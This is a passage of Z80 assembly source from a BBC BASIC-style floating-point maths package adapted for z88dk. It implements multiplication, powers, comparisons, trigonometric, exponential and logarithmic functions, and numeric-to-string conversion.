FMUL: DEC B ;TEST FOR ZERO
INC B
JP Z,ZERO
DEC C ;TEST FOR ZERO
INC C
RET Z
LD A,H
XOR D ;CALC. RESULT SIGN
EX AF,AF'
SET 7,D ;REPLACE IMPLIED 1's
SET 7,H
PUSH BC ;SAVE EXPONENTS
LD B,H ;LOAD REGISTERS
LD C,L
LD HL,0
EXX
LD B,H
LD C,L
LD HL,0
LD A,-32 ;LOOP COUNTER
CALL MULA ;MULTIPLY
CALL C,MULB ;NORMALISE & INC A
EXX
PUSH HL
LD HL,8000H
OR A ;CLEAR CARRY
SBC HL,DE
POP HL
CALL Z,ODD ;ROUND UNBIASSED
CALL C,ADD1 ;ROUND UP
POP BC ;RESTORE EXPONENTS
CALL C,INCC
RRA ;LSB OF A TO CARRY
LD A,C ;COMPUTE NEW EXPONENT
ADC A,B
CHKOVF: JR C,CHKO1
JP P,ZERO ;UNDERFLOW
JR CHKO2
CHKO1: JP M,OFLOW ;OVERFLOW
CHKO2: ADD A,80H
LD C,A
JP Z,ZERO
EX AF,AF' ;RESTORE SIGN BIT
RES 7,H
RET P
SET 7,H
RET
;
;IPOW - Integer involution.
;
IPOW: CALL SWAP
BIT 7,H
PUSH AF ;SAVE SIGN
CALL NZ,NEGATE
IPOW0: LD C,B
LD B,32 ;LOOP COUNTER
IPOW1: CALL X2
JR C,IPOW2
DJNZ IPOW1
POP AF
EXX
INC L ;RESULT=1
EXX
LD C,H
RET
;
IPOW2: POP AF
PUSH BC
EX DE,HL
PUSH HL
EXX
EX DE,HL
PUSH HL
EXX
LD IX,0
ADD IX,SP
JR Z,IPOW4
PUSH BC
EXX
PUSH DE
EXX
PUSH DE
CALL SFLOAT
CALL RECIP
LD (IX+4),C
EXX
LD (IX+0),L
LD (IX+1),H
EXX
LD (IX+2),L
LD (IX+3),H
JR IPOW5
;
IPOW3: PUSH BC
EXX
SLA E
RL D
PUSH DE
EXX
RL E
RL D
PUSH DE
LD A,'*' & 0FH
PUSH AF
CALL COPY
CALL OP ;SQUARE
POP AF
CALL DLOAD5
CALL C,OP ;MULTIPLY BY X
IPOW5: POP DE
EXX
POP DE
EXX
LD A,C
POP BC
LD C,A
IPOW4: DJNZ IPOW3
POP AF
POP AF
POP AF
RET
;
FPOW0: POP AF
POP AF
POP AF
JR IPOW0
;
;FPOW - Floating-point involution.
;
FPOW: BIT 7,D
PUSH AF
CALL SWAP
CALL PUSH5
DEC C
INC C
JR Z,FPOW0
LD A,158
CP C
JR C,FPOW1
INC A
CALL FIX
EX AF,AF'
JP P,FPOW0
FPOW1: CALL SWAP
CALL LN0
CALL POP5
POP AF
CALL FMUL
JP EXP0
;
;Integer and floating-point compare.
;Result is TRUE (-1) or FALSE (0).
;
FLT: CALL FCP
JR ILT1
ILT: CALL ICP
ILT1: RET NC
JR TRUE
;
FGT: CALL FCP
JR IGT1
IGT: CALL ICP
IGT1: RET Z
RET C
JR TRUE
;
FGE: CALL FCP
JR IGE1
IGE: CALL ICP
IGE1: RET C
JR TRUE
;
FLE: CALL FCP
JR ILE1
ILE: CALL ICP
ILE1: JR Z,TRUE
RET NC
JR TRUE
;
FNE: CALL FCP
JR INE1
INE: CALL ICP
INE1: RET Z
JR TRUE
;
FEQ: CALL FCP
JR IEQ1
IEQ: CALL ICP
IEQ1: RET NZ
TRUE: LD HL,-1
EXX
LD HL,-1
EXX
XOR A
LD C,A
RET
;
;PAGE
;
;FUNCTIONS:
;
;Result returned in HLH'L'C (floating point)
;Result returned in HLH'L' (C=0) (integer)
;All registers except IY destroyed.
;
;ABS - Absolute value
;Result is numeric, variable type.
;
ABS: BIT 7,H
RET Z ;POSITIVE/ZERO
DEC C
INC C
JP Z,NEGATE ;INTEGER
RES 7,H
RET
;
;NOT - Complement integer.
;Result is integer numeric.
;
NOTK: CALL SFIX
LD A,H
CPL
LD H,A
LD A,L
CPL
LD L,A
EXX
LD A,H
CPL
LD H,A
LD A,L
CPL
LD L,A
EXX
XOR A ;NUMERIC MARKER
RET
;
;PI - Return PI (3.141592654)
;Result is floating-point numeric.
;
PI: LD HL,490FH
EXX
LD HL,0DAA2H
EXX
LD C,81H
XOR A ;NUMERIC MARKER
RET
;
;DEG - Convert radians to degrees
;Result is floating-point numeric.
;
DEG: CALL FPI180
CALL FMUL
XOR A
RET
;
;RAD - Convert degrees to radians
;Result is floating-point numeric.
;
RAD: CALL FPI180
CALL FDIV
XOR A
RET
;
;180/PI
;
FPI180: CALL SFLOAT
LD DE,652EH
EXX
LD DE,0E0D3H
EXX
LD B,85H
RET
;
;SGN - Return -1, 0 or +1
;Result is integer numeric.
;
SGN: CALL TEST
OR C
RET Z ;ZERO
BIT 7,H
JP NZ,TRUE ;-1
CALL ZERO
JP ADD1 ;1
;
;VAL - Return numeric value of string.
;Input: ASCII string at IX
;Result is variable type numeric.
;
VAL: CALL SIGNQ
PUSH AF
CALL CON
POP AF
CP '-'
LD A,0 ;NUMERIC MARKER
RET NZ
DEC C
INC C
JP Z,NEGATE ;ZERO/INTEGER
LD A,H
XOR 80H ;CHANGE SIGN (FP)
LD H,A
XOR A
RET
;
;INT - Floor function
;Result is integer numeric.
;
INT: DEC C
INC C
RET Z ;ZERO/INTEGER
LD A,159
LD B,H ;B7=SIGN BIT
CALL FIX
EX AF,AF'
AND B
CALL M,ADD1 ;NEGATIVE NON-INTEGER
LD A,B
OR A
CALL M,NEGATE
XOR A
LD C,A
RET
;
;SQR - square root
;Result is floating-point numeric.
;
SQR: CALL SFLOAT
SQR0: BIT 7,H
LD A,NGROOT
JP NZ,ERROR ;"-ve root"
DEC C
INC C
RET Z ;ZERO
SET 7,H ;IMPLIED 1
BIT 0,C
CALL Z,DIV2 ;MAKE EXPONENT ODD
LD A,C
SUB 80H
SRA A ;HALVE EXPONENT
ADD A,80H
LD C,A
PUSH BC ;SAVE EXPONENT
EX DE,HL
LD HL,0
LD B,H
LD C,L
EXX
EX DE,HL
LD HL,0
LD B,H
LD C,L
LD A,-31
CALL SQRA ;ROOT
EXX
BIT 7,B
EXX
CALL Z,SQRA ;NORMALISE & INC A
CALL SQRB
OR A ;CLEAR CARRY
CALL DIVB
RR E ;LSB TO CARRY
LD H,B
LD L,C
EXX
LD H,B
LD L,C
CALL C,ADD1 ;ROUND UP
POP BC ;RESTORE EXPONENT
CALL C,INCC
RRA
SBC A,A
ADD A,C
LD C,A
RES 7,H ;POSITIVE
XOR A
RET
;
;TAN - Tangent function
;Result is floating-point numeric.
;
TAN: CALL SFLOAT
CALL PUSH5
CALL COS0
CALL POP5
CALL PUSH5
CALL SWAP
CALL SIN0
CALL POP5
CALL FDIV
XOR A ;NUMERIC MARKER
RET
;
;COS - Cosine function
;Result is floating-point numeric.
;
COS: CALL SFLOAT
COS0: CALL SCALE
INC E
INC E
LD A,E
JR SIN1
;
;SIN - Sine function
;Result is floating-point numeric.
;
SIN: CALL SFLOAT
SIN0: PUSH HL ;H7=SIGN
CALL SCALE
POP AF
RLCA
RLCA
RLCA
AND 4
XOR E
SIN1: PUSH AF ;OCTANT
RES 7,H
RRA
CALL PIBY4
CALL C,RSUB ;X=(PI/4)-X
POP AF
PUSH AF
AND 3
JP PO,SIN2 ;USE COSINE APPROX.
CALL PUSH5 ;SAVE X
CALL SQUARE ;PUSH X*X
CALL POLY
DEFW 0A8B7H ;a(8)
DEFW 3611H
DEFB 6DH
DEFW 0DE26H ;a(6)
DEFW 0D005H
DEFB 73H
DEFW 80C0H ;a(4)
DEFW 888H
DEFB 79H
DEFW 0AA9DH ;a(2)
DEFW 0AAAAH
DEFB 7DH
DEFW 0 ;a(0)
DEFW 0
DEFB 80H
CALL POP5
CALL POP5
CALL FMUL
JP SIN3
;
SIN2: CALL SQUARE ;PUSH X*X
CALL POLY
DEFW 0D571H ;b(8)
DEFW 4C78H
DEFB 70H
DEFW 94AFH ;b(6)
DEFW 0B603H
DEFB 76H
DEFW 9CC8H ;b(4)
DEFW 2AAAH
DEFB 7BH
DEFW 0FFDDH ;b(2)
DEFW 0FFFFH
DEFB 7EH
DEFW 0 ;b(0)
DEFW 0
DEFB 80H
CALL POP5
SIN3: POP AF
AND 4
RET Z
DEC C
INC C
RET Z ;ZERO
SET 7,H ;MAKE NEGATIVE
RET
;
;Floating-point one:
;
FONE: LD HL,0
EXX
LD HL,0
EXX
LD C,80H
RET
;
DONE: LD DE,0
EXX
LD DE,0
EXX
LD B,80H
RET
;
PIBY4: LD DE,490FH
EXX
LD DE,0DAA2H
EXX
LD B,7FH
RET
;
;EXP - Exponential function
;Result is floating-point numeric.
;
EXP: CALL SFLOAT
EXP0: CALL LN2 ;LN(2)
EXX
DEC E
LD BC,0D1CFH ;0.6931471805599453
EXX
PUSH HL ;H7=SIGN
CALL MOD48 ;"MODULUS"
POP AF
BIT 7,E
JR Z,EXP1
RLA
JP C,ZERO
LD A,EXPRNG
JP ERROR ;"Exp range"
;
EXP1: AND 80H
OR E
PUSH AF ;INTEGER PART
RES 7,H
CALL PUSH5 ;PUSH X*LN(2)
CALL POLY
DEFW 4072H ;a(7)
DEFW 942EH
DEFB 73H
DEFW 6F65H ;a(6)
DEFW 2E4FH
DEFB 76H
DEFW 6D37H ;a(5)
DEFW 8802H
DEFB 79H
DEFW 0E512H ;a(4)
DEFW 2AA0H
DEFB 7BH
DEFW 4F14H ;a(3)
DEFW 0AAAAH
DEFB 7DH
DEFW 0FD56H ;a(2)
DEFW 7FFFH
DEFB 7EH
DEFW 0FFFEH ;a(1)
DEFW 0FFFFH
DEFB 7FH
DEFW 0 ;a(0)
DEFW 0
DEFB 80H
CALL POP5
POP AF
PUSH AF
CALL P,RECIP ;X=1/X
POP AF
JP P,EXP4
AND 7FH
NEG
EXP4: ADD A,80H
ADD A,C
JR C,EXP2
JP P,ZERO ;UNDERFLOW
JR EXP3
EXP2: JP M,OFLOW ;OVERFLOW
EXP3: ADD A,80H
JP Z,ZERO
LD C,A
XOR A ;NUMERIC MARKER
RET
;
RECIP: CALL DONE
RDIV: CALL SWAP
JP FDIV ;RECIPROCAL
;
LN2: LD DE,3172H ;LN(2)
EXX
LD DE,17F8H
EXX
LD B,7FH
RET
;
;LN - Natural log.
;Result is floating-point numeric.
;
LN: CALL SFLOAT
LN0: LD A,LOGRNG
BIT 7,H
JP NZ,ERROR ;"Log range"
INC C
DEC C
JP Z,ERROR
LD DE,3504H ;SQR(2)
EXX
LD DE,0F333H ;1.41421356237
EXX
CALL ICP0 ;MANTISSA>SQR(2)?
LD A,C ;EXPONENT
LD C,80H ;1 <= X < 2
JR C,LN4
DEC C
INC A
LN4: PUSH AF ;SAVE EXPONENT
CALL RATIO ;X=(X-1)/(X+1)
CALL PUSH5
CALL SQUARE ;PUSH X*X
CALL POLY
DEFW 0CC48H ;a(9)
DEFW 74FBH
DEFB 7DH
DEFW 0AEAFH ;a(7)
DEFW 11FFH
DEFB 7EH
DEFW 0D98CH ;a(5)
DEFW 4CCDH
DEFB 7EH
DEFW 0A9E3H ;a(3)
DEFW 2AAAH
DEFB 7FH
DEFW 0 ;a(1)
DEFW 0
DEFB 81H
CALL POP5
CALL POP5
CALL FMUL
POP AF ;EXPONENT
CALL PUSH5
EX AF,AF'
CALL ZERO
EX AF,AF'
SUB 80H
JR Z,LN3
JR NC,LN1
CPL
INC A
LN1: LD H,A
LD C,87H
PUSH AF
CALL FLOAT
RES 7,H
CALL LN2
CALL FMUL
POP AF
JR NC,LN3
JP M,LN3
SET 7,H
LN3: CALL POP5
CALL FADD
XOR A
RET
;
;LOG - base-10 logarithm.
;Result is floating-point numeric.
;
LOG: CALL LN
LD DE,5E5BH ;LOG(e)
EXX
LD DE,0D8A9H
EXX
LD B,7EH
CALL FMUL
XOR A
RET
;
;ASN - Arc-sine
;Result is floating-point numeric.
;
ASN: CALL SFLOAT
CALL PUSH5
CALL COPY
CALL FMUL
CALL DONE
CALL RSUB
CALL SQR0
CALL POP5
INC C
DEC C
LD A,2
PUSH DE
JR Z,ACS1
POP DE
CALL RDIV
JR ATN0
;
;ATN - arc-tangent
;Result is floating-point numeric.
;
ATN: CALL SFLOAT
ATN0: PUSH HL ;SAVE SIGN
RES 7,H
LD DE,5413H ;TAN(PI/8)=SQR(2)-1
EXX
LD DE,0CCD0H
EXX
LD B,7EH
CALL FCP0 ;COMPARE
LD B,0
JR C,ATN2
LD DE,1A82H ;TAN(3*PI/8)=SQR(2)+1
EXX
LD DE,799AH
EXX
LD B,81H
CALL FCP0 ;COMPARE
JR C,ATN1
CALL RECIP ;X=1/X
LD B,2
JP ATN2
ATN1: CALL RATIO ;X=(X-1)/(X+1)
LD B,1
ATN2: PUSH BC ;SAVE FLAG
CALL PUSH5
CALL SQUARE ;PUSH X*X
CALL POLY
DEFW 0F335H ;a(13)
DEFW 37D8H
DEFB 7BH
DEFW 6B91H ;a(11)
DEFW 0AAB9H
DEFB 7CH
DEFW 41DEH ;a(9)
DEFW 6197H
DEFB 7CH
DEFW 9D7BH ;a(7)
DEFW 9237H
DEFB 7DH
DEFW 2A5AH ;a(5)
DEFW 4CCCH
DEFB 7DH
DEFW 0A95CH ;a(3)
DEFW 0AAAAH
DEFB 7EH
DEFW 0 ;a(1)
DEFW 0
DEFB 80H
CALL POP5
CALL POP5
CALL FMUL
POP AF
ACS1: CALL PIBY4 ;PI/4
RRA
PUSH AF
CALL C,FADD
POP AF
INC B
RRA
CALL C,RSUB
POP AF
OR A
RET P
SET 7,H ;MAKE NEGATIVE
XOR A
RET
;
;ACS - Arc cosine=PI/2-ASN.
;Result is floating point numeric.
;
ACS: CALL ASN
LD A,2
PUSH AF
JR ACS1
;
;Function STR - convert numeric value to ASCII string.
; Inputs: HLH'L'C = integer or floating-point number
; DE = address at which to store string
; IX = address of @% format control
; Outputs: String stored, with NUL terminator
;
;First normalise for decimal output:
;
STR: CALL SFLOAT
LD B,0 ;DEFAULT PT. POSITION
BIT 7,H ;NEGATIVE?
JR Z,STR10
RES 7,H
LD A,'-'
LD (DE),A ;STORE SIGN
INC DE
STR10: XOR A ;CLEAR A
CP C
JR Z,STR2 ;ZERO
PUSH DE ;SAVE TEXT POINTER
LD A,B
STR11: PUSH AF ;SAVE DECIMAL COUNTER
LD A,C ;BINARY EXPONENT
CP 161
JR NC,STR14
CP 155
JR NC,STR15
CPL
CP 225
JR C,STR13
LD A,-8
STR13: ADD A,28
CALL POWR10
PUSH AF
CALL FMUL
POP AF
LD B,A
POP AF
SUB B
JR STR11
STR14: SUB 32
CALL POWR10
PUSH AF
CALL FDIV
POP AF
LD B,A
POP AF
ADD A,B
JR STR11
STR15: LD A,9
CALL POWR10 ;10^9
CALL FCP0
LD A,C
POP BC
LD C,A
SET 7,H ;IMPLIED 1
CALL C,X10B ;X10, DEC B
POP DE ;RESTORE TEXT POINTER
RES 7,C
LD A,0
RLA ;PUT CARRY IN LSB
;
;At this point decimal normalisation has been done,
;now convert to decimal digits:
; AHLH'L' = number in normalised integer form
; B = decimal place adjustment
; C = binary place adjustment (29-33)
;
STR2: INC C
EX AF,AF' ;SAVE A
LD A,B
BIT 1,(IX+2)
JR NZ,STR20
XOR A
CP (IX+1)
JR Z,STR21
LD A,-10
STR20: ADD A,(IX+1) ;SIG. FIG. COUNT
OR A ;CLEAR CARRY
JP M,STR21
XOR A
STR21: PUSH AF
EX AF,AF' ;RESTORE A
STR22: CALL X2 ;RL AHLH'L'
ADC A,A
CP 10
JR C,STR23
SUB 10
EXX
INC L ;SET RESULT BIT
EXX
STR23: DEC C
JR NZ,STR22 ;32 TIMES
LD C,A ;REMAINDER
LD A,H
AND 3FH ;CLEAR OUT JUNK
LD H,A
POP AF
JP P,STR24
INC A
JR NZ,STR26
LD A,4
CP C ;ROUND UP?
LD A,0
JR STR26
STR24: PUSH AF
LD A,C
ADC A,'0' ;ADD CARRY
CP '0'
JR Z,STR25 ;SUPPRESS ZERO
CP '9'+1
CCF
JR NC,STR26
STR25: EX (SP),HL
BIT 6,L ;ZERO FLAG
EX (SP),HL
JR NZ,STR27
LD A,'0'
STR26: INC A ;SET +VE
DEC A
PUSH AF ;PUT ON STACK + CARRY
STR27: INC B
CALL TEST ;IS HLH'L' ZERO?
LD C,32
LD A,0
JR NZ,STR22
POP AF
PUSH AF
LD A,0
JR C,STR22
;
;At this point, the decimal character string is stored
; on the stack. Trailing zeroes are suppressed and may
; need to be replaced.
;B register holds decimal point position.
;Now format number and store as ASCII string:
;
STR3: EX DE,HL ;STRING POINTER
LD C,-1 ;FLAG "E"
LD D,1
LD E,(IX+1) ;f2
BIT 0,(IX+2)
JR NZ,STR34 ;E MODE
BIT 1,(IX+2)
JR Z,STR31
LD A,B ;F MODE
OR A
JR Z,STR30
JP M,STR30
LD D,B
STR30: LD A,D
ADD A,(IX+1)
LD E,A
CP 11
JR C,STR32
STR31: LD A,B ;G MODE
LD DE,101H
OR A
JP M,STR34
JR Z,STR32
LD A,(IX+1)
OR A
JR NZ,STR3A
LD A,10
STR3A: CP B
JR C,STR34
LD D,B
LD E,B
STR32: LD A,B
ADD A,129
LD C,A
STR34: SET 7,D
DEC E
STR35: LD A,D
CP C
JR NC,STR33
STR36: POP AF
JR Z,STR37
JP P,STR38
STR37: PUSH AF
INC E
DEC E
JP M,STR4
STR33: LD A,'0'
STR38: DEC D
JP PO,STR39
LD (HL),'.'
INC HL
STR39: LD (HL),A
INC HL
DEC E
JP P,STR35
JR STR36
;
STR4: POP AF
STR40: INC C
LD C,L
JR NZ,STR44
LD (HL),'e' ;EXPONENT
INC HL
LD A,B
DEC A
JP P,STR41
LD (HL),'-'
INC HL
NEG
STR41: LD (HL),'0'
JR Z,STR47
CP 10
LD B,A
LD A,':'
JR C,STR42
INC HL
LD (HL),'0'
STR42: INC (HL)
CP (HL)
JR NZ,STR43
LD (HL),'0'
DEC HL
INC (HL)
INC HL
STR43: DJNZ STR42
STR47: INC HL
STR44: EX DE,HL
RET
;
;PAGE
;
;Support subroutines:
;
DLOAD5: LD B,(IX+4)
EXX
LD E,(IX+0)
LD D,(IX+1)
EXX
LD E,(IX+2)
LD D,(IX+3)
RET
;
;CON - Get unsigned numeric constant from ASCII string.
; Inputs: ASCII string at (IX).
; Outputs: Variable-type result in HLH'L'C
; IX updated (points to delimiter)
; A7 = 0 (numeric marker)
;
CON: CALL ZERO ;INITIALISE TO ZERO
LD C,0 ;TRUNCATION COUNTER
CALL NUMBER ;GET INTEGER PART
CP '.'
LD B,0 ;DECL. PLACE COUNTER
CALL Z,NUMBIX ;GET FRACTION PART
CP 'E'
LD A,0 ;INITIALISE EXPONENT
CALL Z,GETEXP ;GET EXPONENT
BIT 7,H
JR NZ,CON0 ;INTEGER OVERFLOW
OR A
JR NZ,CON0 ;EXPONENT NON-ZERO
CP B
JR NZ,CON0 ;DECIMAL POINT
CP C
RET Z ;INTEGER
CON0: SUB B
ADD A,C
LD C,159
CALL FLOAT
RES 7,H ;DITCH IMPLIED 1
OR A
RET Z ;DONE
JP M,CON2 ;NEGATIVE EXPONENT
CALL POWR10
CALL FMUL ;SCALE
XOR A
RET
CON2: CP -38
JR C,CON3 ;CAN'T SCALE IN ONE GO
NEG
CALL POWR10
CALL FDIV ;SCALE
XOR A
RET
CON3: PUSH AF
LD A,38
CALL POWR10
CALL FDIV
POP AF
ADD A,38
JR CON2
;
;GETEXP - Get decimal exponent from string
; Inputs: ASCII string at (IX)
; (IX points at 'E')
; A = initial value
; Outputs: A = new exponent
; IX updated.
; Destroys: A,A',IX,F,F'
;
GETEXP: PUSH BC ;SAVE REGISTERS
LD B,A ;INITIAL VALUE
LD C,2 ;2 DIGITS MAX
INC IX ;BUMP PAST 'E'
CALL SIGNQ
EX AF,AF' ;SAVE EXPONENT SIGN
GETEX1: CALL DIGITQ
JR C,GETEX2
LD A,B ;B=B*10
ADD A,A
ADD A,A
ADD A,B
ADD A,A
LD B,A
LD A,(IX) ;GET BACK DIGIT
INC IX
AND 0FH ;MASK UNWANTED BITS
ADD A,B ;ADD IN DIGIT
LD B,A
DEC C
JP P,GETEX1
LD B,100 ;FORCE OVERFLOW
JR GETEX1
GETEX2: EX AF,AF' ;RESTORE SIGN
CP '-'
LD A,B
POP BC ;RESTORE
RET NZ
NEG ;NEGATE EXPONENT
RET
;
;NUMBER: Get unsigned integer from string.
; Inputs: string at (IX)
; C = truncated digit count
; (initially zero)
; B = total digit count
; HLH'L' = initial value
; Outputs: HLH'L' = number (binary integer)
; A = delimiter.
; B, C & IX updated
; Destroys: A,B,C,D,E,H,L,B',C',D',E',H',L',IX,F
;
NUMBIX: INC IX
NUMBER: CALL DIGITQ
RET C
INC B ;INCREMENT DIGIT COUNT
INC IX
CALL X10 ;*10 & COPY OLD VALUE
JR C,NUMB1 ;OVERFLOW
DEC C ;SEE IF TRUNCATED
INC C
JR NZ,NUMB1 ;IMPORTANT!
AND 0FH
EXX
LD B,0
LD C,A
ADD HL,BC ;ADD IN DIGIT
EXX
JR NC,NUMBER
INC HL ;CARRY
LD A,H
OR L
JR NZ,NUMBER
NUMB1: INC C ;TRUNCATION COUNTER
CALL SWAP1 ;RESTORE PREVIOUS VALUE
JR NUMBER
;
;FIX - Fix number to specified exponent value.
; Inputs: HLH'L'C = +ve non-zero number (floated)
; A = desired exponent (A>C)
; Outputs: HLH'L'C = fixed number (unsigned)
; fraction shifted into B'C'
; A'F' positive if integer input
; Destroys: C,H,L,A',B',C',H',L',F,F'
;
FIX: EX AF,AF'
XOR A
EX AF,AF'
SET 7,H ;IMPLIED 1
FIX1: CALL DIV2
CP C
RET Z
JP NC,FIX1
JP OFLOW
;
;SFIX - Convert to integer if necessary.
; Input: Variable-type number in HLH'L'C
; Output: Integer in HLH'L', C=0
; Destroys: A,C,H,L,A',B',C',H',L',F,F'
;
;NEGATE - Negate HLH'L'
; Destroys: H,L,H',L',F
;
FIX2: CALL SWAP
CALL SFIX
CALL SWAP
SFIX: DEC C
INC C
RET Z ;INTEGER/ZERO
BIT 7,H ;SIGN
PUSH AF
LD A,159
CALL FIX
POP AF
LD C,0
RET Z
NEGATE: OR A ;CLEAR CARRY
EXX
NEG0: PUSH DE
EX DE,HL
LD HL,0
SBC HL,DE
POP DE
EXX
PUSH DE
EX DE,HL
LD HL,0
SBC HL,DE
POP DE
RET
;
;NEG - Negate HLH'L'B'C'
; Also complements A (used in FADD)
; Destroys: A,H,L,B',C',H',L',F
;
NEG: EXX
CPL
PUSH HL
OR A ;CLEAR CARRY
LD HL,0
SBC HL,BC
LD B,H
LD C,L
POP HL
JR NEG0
; FNEGATE: z88dk added
FNEGATE: ;z88dk
dec c ;z88dk
inc c ;z88dk
jp z, NEGATE ;z88dk
ld a, h ;z88dk
xor $80 ;z88dk
ld h, a ;z88dk
ret ;z88dk
;
;SCALE - Trig scaling.
;MOD48 - 48-bit floating-point "modulus" (remainder).
; Inputs: HLH'L'C unsigned floating-point dividend
; DED'E'B'C'B unsigned 48-bit FP divisor
; Outputs: HLH'L'C floating point remainder (H7=1)
; E = quotient (bit 7 is sticky)
; Destroys: A,B,C,D,E,H,L,B',C',D',E',H',L',IX,F
;FLO48 - Float unsigned number (48 bits)
; Input/output in HLH'L'B'C'C
; Destroys: C,H,L,B',C',H',L',F
;
SCALE: LD A,150
CP C
LD A,ACLOST
JP C,ERROR ;"Accuracy lost"
CALL PIBY4
EXX
LD BC,2169H ;3.141592653589793238
EXX
MOD48: SET 7,D ;IMPLIED 1
SET 7,H
LD A,C
LD C,0 ;INIT QUOTIENT
LD IX,0
PUSH IX ;PUT ZERO ON STACK
CP B
JR C,MOD485 ;DIVIDEND<DIVISOR
MOD481: EXX ;CARRY=0 HERE
EX (SP),HL
SBC HL,BC
EX (SP),HL
SBC HL,DE
EXX
SBC HL,DE
JR NC,MOD482 ;DIVIDEND>=DIVISOR
EXX
EX (SP),HL
ADD HL,BC
EX (SP),HL
ADC HL,DE
EXX
ADC HL,DE
MOD482: CCF
RL C ;QUOTIENT
JR NC,MOD483
SET 7,C ;STICKY BIT
MOD483: DEC A
CP B
JR C,MOD484 ;DIVIDEND<DIVISOR
EX (SP),HL
ADD HL,HL ;DIVIDEND * 2
EX (SP),HL
EXX
ADC HL,HL
EXX
ADC HL,HL
JR NC,MOD481 ;AGAIN
OR A
EXX
EX (SP),HL
SBC HL,BC ;OVERFLOW, SO SUBTRACT
EX (SP),HL
SBC HL,DE
EXX
SBC HL,DE
OR A
JR MOD482
;
MOD484: INC A
MOD485: LD E,C ;QUOTIENT
LD C,A ;REMAINDER EXPONENT
EXX
POP BC
EXX
FLO48: BIT 7,H
RET NZ
EXX
SLA C
RL B
ADC HL,HL
EXX
ADC HL,HL
DEC C
JP NZ,FLO48
RET
;
;Float unsigned number
; Input/output in HLH'L'C
; Destroys: C,H,L,H',L',F
;
FLOAT: BIT 7,H
RET NZ
EXX ;SAME AS "X2"
ADD HL,HL ;TIME-CRITICAL
EXX ;REGION
ADC HL,HL ;(BENCHMARKS)
DEC C
JP NZ,FLOAT
RET
;
;SFLOAT - Convert to floating-point if necessary.
; Input: Variable-type number in HLH'L'C
; Output: Floating-point in HLH'L'C
; Destroys: A,C,H,L,H',L',F
;
FLOATA: EX AF,AF'
ADD A,+(RTABLE-DTABLE)/2
EX AF,AF'
FLOAT2: CALL SWAP
CALL SFLOAT
CALL SWAP
SFLOAT: DEC C
INC C
RET NZ ;ALREADY FLOATING-POINT
CALL TEST
RET Z ;ZERO
LD A,H
OR A
CALL M,NEGATE
LD C,159
CALL FLOAT
OR A
RET M ;NEGATIVE
RES 7,H
RET
;
;ROUND UP
;Return with carry set if 32-bit overflow
; Destroys: H,L,B',C',H',L',F
;
ADD1: EXX
LD BC,1
ADD HL,BC
EXX
RET NC
PUSH BC
LD BC,1
ADD HL,BC
POP BC
RET
;
;ODD - Add one if even, leave alone if odd.
; (Used to perform unbiassed rounding, i.e.
; number is rounded up half the time)
; Destroys: L',F (carry cleared)
;
ODD: OR A ;CLEAR CARRY
EXX
SET 0,L ;MAKE ODD
EXX
RET
;
;SWAP - Swap arguments.
; Exchanges DE,HL D'E',H'L' and B,C
; Destroys: A,B,C,D,E,H,L,D',E',H',L'
;SWAP1 - Swap DEHL with D'E'H'L'
; Destroys: D,E,H,L,D',E',H',L'
;
SWAP: LD A,C
LD C,B
LD B,A
SWAP1: EX DE,HL
EXX
EX DE,HL
EXX
RET
;
;DIV2 - destroys C,H,L,A',B',C',H',L',F,F'
;INCC - destroys C,F
;OFLOW
;
DIV2: CALL D2
EXX
RR B
RR C
EX AF,AF'
OR B
EX AF,AF'
EXX
INCC: INC C
RET NZ
OFLOW: LD A,TOOBIG
JP ERROR ;"Too big"
;
;FTEST - Test for zero & sign
; Output: A=0 if zero, A=&40 if +ve, A=&C0 if -ve
;
FTEST: CALL TEST
RET Z
LD A,H
AND 10000000B
OR 01000000B
RET
;
;TEST - Test HLH'L' for zero.
; Output: Z-flag set & A=0 if HLH'L'=0
; Destroys: A,F
;
TEST: LD A,H
OR L
EXX
OR H
OR L
EXX
RET
;
;FCOMP - Compare two numbers
; Output: A=0 if equal, A=&40 if L>R, A=&C0 if L<R
;
FCOMP: LD A,B
OR C ;Both integer?
JR NZ,FCOMP1
CALL ICP
FCOMP0: LD A,0
RET Z ;Equal
LD A,80H
RRA
RET
;
FCOMP1: CALL FLOAT2 ;Float both
CALL FCP
JR FCOMP0
;
;Integer and floating point compare.
;Sets carry & zero flags according to HLH'L'C-DED'E'B
;Result pre-set to FALSE
;ICP1, FCP1 destroy A,F
;
;ZERO - Return zero.
; Destroys: A,C,H,L,H',L'
;
ICP: CALL ICP1
ZERO: LD A,0
EXX
LD H,A
LD L,A
EXX
LD H,A
LD L,A
LD C,A
RET
;
FCP: CALL FCP1
JR ZERO ;PRESET FALSE
;
FCP0: LD A,C
CP B ;COMPARE EXPONENTS
RET NZ
ICP0: SBC HL,DE ;COMP MANTISSA MSB
ADD HL,DE
RET NZ
EXX
SBC HL,DE ;COMP MANTISSA LSB
ADD HL,DE
EXX
RET
;
FCP1: LD A,H
XOR D
LD A,H
RLA
RET M
JR NC,FCP0
CALL FCP0
RET Z ;** V0.1 BUG FIX
CCF
RET
;
ICP1: LD A,H
XOR D
JP P,ICP0
LD A,H
RLA
RET
;
;ADD - Integer add.
;Carry, sign & zero flags valid on exit
; Destroys: H,L,H',L',F
;
X10B: DEC B
INC C
X5: CALL COPY0
CALL D2C
CALL D2C
EX AF,AF' ;SAVE CARRY
ADD: EXX
ADD HL,DE
EXX
ADC HL,DE
RET
;
;SUB - Integer subtract.
;Carry, sign & zero flags valid on exit
; Destroys: H,L,H',L',F
;
SUB: EXX
OR A
SBC HL,DE
EXX
SBC HL,DE
RET
;
;X10 - unsigned integer * 10
; Inputs: HLH'L' initial value
; Outputs: DED'E' = initial HLH'L'
; Carry bit set if overflow
; If carry not set HLH'L'=result
; Destroys: D,E,H,L,D',E',H',L',F
;X2 - Multiply HLH'L' by 2 as 32-bit integer.
; Carry set if MSB=1 before shift.
; Sign set if MSB=1 after shift.
; Destroys: H,L,H',L',F
;
X10: CALL COPY0 ;DED'E'=HLH'L'
CALL X2
RET C ;TOO BIG
CALL X2
RET C
CALL ADD
RET C
X2: EXX
ADD HL,HL
EXX
ADC HL,HL
RET
;
;D2 - Divide HLH'L' by 2 as 32-bit integer.
; Carry set if LSB=1 before shift.
; Destroys: H,L,H',L',F
;
D2C: INC C
D2: SRL H
RR L
EXX
RR H
RR L
EXX
RET
;
;COPY - COPY HLH'L'C INTO DED'E'B
; Destroys: B,C,D,E,H,L,D',E',H',L'
;
COPY: LD B,C
COPY0: LD D,H
LD E,L
EXX
LD D,H
LD E,L
EXX
RET
;
;SQUARE - PUSH X*X
;PUSH5 - PUSH HLH'L'C ONTO STACK.
; Destroys: SP,IX
;
